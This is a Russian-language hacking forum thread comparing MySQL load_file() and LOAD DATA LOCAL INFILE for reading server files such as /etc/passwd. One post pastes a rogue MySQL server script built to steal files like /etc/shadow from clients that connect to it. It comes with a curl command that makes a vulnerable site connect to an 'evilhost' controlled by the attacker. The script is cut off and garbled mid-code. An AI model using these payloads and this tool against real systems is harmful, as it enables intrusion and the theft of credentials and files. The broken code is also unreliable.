Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   База Знаний (https://forum.antichat.xyz/forumdisplay.php?f=210)
-   -   load_file() vs Local Data Load Infile (https://forum.antichat.xyz/showthread.php?t=469196)

dooble 07.03.2019 14:07

Эти два механизма известны давно и в хакерской среде используются для чтения файлов на сервере, например:

Код:

Code:
select load_file('/etc/passwd');

use anyDatabase;
CREATE TEMPORARY TABLE `tt` (`name` TEXT);
LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE tt;
SELECT * FROM tt;

Обе конструкции в итоге прочитают /etc/passwd.

Не буду делать по ним полное описание, остановлюсь только на их различии.

Принципиальное различие меду ними состоит в том, что load_file() [далее LF] выполняется в контексте сервера MySQL, а load data local infile [LDLI] - в контексте клиента MySQL.

Отсюда разница в эксплуатации:

LF читает файлы с правами mysql, а LDLI с правами php (обычно это права веб-сервера, здесь и далее рассматривается случай работы из скриптов сайта, например из phpMyAdmin).

Возможно чмоды выставлены так, что у mysql нет прав на чтение скриптов сайта а php не может прочитать за пределами open_basedir.

Кстати про open_basedir и LDLI, на рдоте и в хакере писали, что LDLI обходит open_basedir, но у меня такое ни разу не прокатывало, вот по крайней мере на php, как модуль Apache, тестил на многих серверах - "open_basedir restriction in effect. Unable to open file".

Второй важный момент, когда скрипты сайта и MySQL расположены на разных серверах.

В этом случае LF будет читать файлы там, где сервер MySQL, а LDLI с сервера, где лежат скрипты сайта.

grimnir 07.03.2019 18:35

по теме про недавнюю багу админера

https://www.percona.com/blog/2019/02...curity-issues/

https://securityaffairs.co/wordpress...sign-flaw.html

и сервер https://github.com/Gifts/Rogue-MySql-Server

crlf 13.02.2021 09:38

Цитата:

Сообщение от grimnir
grimnir said:

и сервер
https://github.com/Gifts/Rogue-MySql-Server

Немного дополню старым постом с рдота.

Для случаев когда есть возможность инициировать MySQL соединение на подконтрольный хост.

Можно читать локальные файлы клиента. LOAD DATA LOCAL должен поддерживаться клиентом и быть включен.

Презентация

Видео доклада

Фейковый MySQL

Код:

Code:
> service mysql stop
> python rogue_mysql_server.py
> curl http://site.com/script?host=evilhost&user=hacker&password=p@55w0rD&database=hack
> cat mysql.log

[CODE]
Code:
#!/usr/bin/env python
#coding: utf8

import socket
import asyncore
import asynchat
import struct
import random
import logging
import logging.handlers

PORT = 3306

log = logging.getLogger(__name__)

log.setLevel(logging.DEBUG)
tmp_format = logging.handlers.WatchedFileHandler('mysql.log', 'ab')
tmp_format.setFormatter(logging.Formatter("%(ascti me)s:%(levelname)s:%(message)s"))
log.addHandler(
tmp_format
)

filelist = (
# r'c:\boot.ini',
r'c:\windows\win.ini',
# r'c:\windows\system32\drivers\etc\hosts',
# '/etc/passwd',
# '/etc/shadow',
)

#================================================
#=======No need to change after this lines=======
#================================================

__author__ = 'Gifts'

def daemonize():
import os, warnings
if os.name != 'posix':
warnings.warn('Cant create daemon on non-posix system')
return

if os.fork(): os._exit(0)
os.setsid()
if os.fork(): os._exit(0)
os.umask(0o022)
null=os.open('/dev/null', os.O_RDWR)
for i in xrange(3):
try:
os.dup2(null, i)
except OSError as e:
if e.errno != 9: raise
os.close(null)

class LastPacket(Exception):
pass

class OutOfOrder(Exception):
pass

class mysql_packet(object):
packet_header = struct.Struct('> 16, 0, self.packet_num)

result = "{0}{1}".format(
header,
self.payload
)
return result

def __repr__(self):
return repr(str(self))

@staticmethod
def parse(raw_data):
packet_num = ord(raw_data[0])
payload = raw_data[1:]

return mysql_packet(packet_num, payload)

class http_request_handler(asynchat.async_chat):

def __init__(self, addr):
asynchat.async_chat.__init__(self, sock=addr[0])
self.addr = addr[1]
self.ibuffer = []
self.set_terminator(3)
self.state = 'LEN'
self.sub_state = 'Auth'
self.logined = False
self.push(
mysql_packet(
0,
"".join((
'\x0a', # Protocol
'3.0.0-Evil_Mysql_Server' + '\0', # Version
#'5.1.66-0+squeeze1' + '\0',
'\x36\x00\x00\x00', # Thread ID
'evilsalt' + '\0', # Salt
'\xdf\xf7', # Capabilities
'\x08', # Collation
'\x02\x00', # Server Status
'\0' * 13, # Unknown
'evil2222' + '\0',
))
)
)

self.order = 1
self.states = ['LOGIN', 'CAPS', 'ANY']

def push(self, data):
log.debug('Pushed: %r', data)
data = str(data)
asynchat.async_chat.push(self, data)

def collect_incoming_data(self, data):
log.debug('Data recved: %r', data)
self.ibuffer.append(data)

def found_terminator(self):
data = "".join(self.ibuffer)
self.ibuffer = []

if self.state == 'LEN':
len_bytes = ord(data[0]) + 256*ord(data[1]) + 65536*ord(data[2]) + 1
if len_bytes

git 26.02.2021 00:10

Аналог adminer'a --phpminiadmin (osalabs.com) позволяет провернуть тот-же вектор.

Код:

Code:
phpminiadmin.php?showcfg=1



Время: 00:42